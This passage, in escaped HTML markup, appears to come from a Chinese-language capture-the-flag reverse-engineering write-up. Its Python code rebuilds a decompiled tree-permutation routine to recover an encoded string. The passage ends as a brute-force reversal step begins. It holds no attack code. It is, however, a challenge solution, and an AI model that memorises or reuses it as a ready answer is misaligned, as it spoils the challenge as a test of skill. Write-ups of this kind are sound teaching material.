&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; sub_401120&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;index&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    global&lt;&#x2F;span&gt;&lt;span&gt; tree&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    left&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (tree[index][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;!=-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        left&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;sub_401120&lt;&#x2F;span&gt;&lt;span&gt;(tree[index][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    right&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;tree[index][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (right&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;!=-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        left&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;sub_401120&lt;&#x2F;span&gt;&lt;span&gt;(right)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; (left&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; tree_connect&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;root&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;target&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    global&lt;&#x2F;span&gt;&lt;span&gt; tree&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;root&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;root&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    pos_idxL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;tree[root][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (pos_idxL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;==-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        tree[result][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; result&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        while&lt;&#x2F;span&gt;&lt;span&gt; ( tree[pos][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; != -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            v5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; sub_401120&lt;&#x2F;span&gt;&lt;span&gt;(pos_idxL)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D95757;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;sub_401120&lt;&#x2F;span&gt;&lt;span&gt;(tree[pos][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span&gt; v5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;tree[pos][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;tree[pos][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D95757;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;result&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            pos_idxL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;tree[result][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span&gt; (pos_idxL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; == -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                tree[result][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;                return&lt;&#x2F;span&gt;&lt;span&gt; result&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        #result*=3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        tree[result][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        result&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; result&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; dfs&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    global&lt;&#x2F;span&gt;&lt;span&gt; tree&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    global&lt;&#x2F;span&gt;&lt;span&gt; m&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    global&lt;&#x2F;span&gt;&lt;span&gt; ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    flag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span&gt;(flag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; or&lt;&#x2F;span&gt;&lt;span&gt; pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;!=-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        flag&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; (tree[pos][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; != -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;            dfs&lt;&#x2F;span&gt;&lt;span&gt;(tree[pos][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        ret[m]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;tree[pos][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;tree[pos][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; pos&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;tree[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;tree[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;tree[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;slen)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    tree[i][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    tree[i][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    tree[i][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    tree_connect&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;i)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;dfs&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(ret)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(src))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    dst[ret[i]]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;src[i]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(dst)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;dst_decoded&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;0x&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;dst[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;dst[i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(dst)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(dst_decoded)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(dst_decoded))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#Result:*y+.+{-~---~.&#x2F;++&#x2F;,-~&#x2F;,. .--~,+&#x2F;+.).+.z,|++-~..+),(+!+)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;404.jpg&quot; alt=&quot;BTree Image&quot; title=&quot;Tree&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来我们就要将这段字符串反向为原始的字符串。这里采用穷举法：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;src&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;*y+.+{-~---~.&#x2F;++&#x2F;,-~&#x2F;,. .--~,+&#x2F;+.).+.z,|++-~..+),(+!+)&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
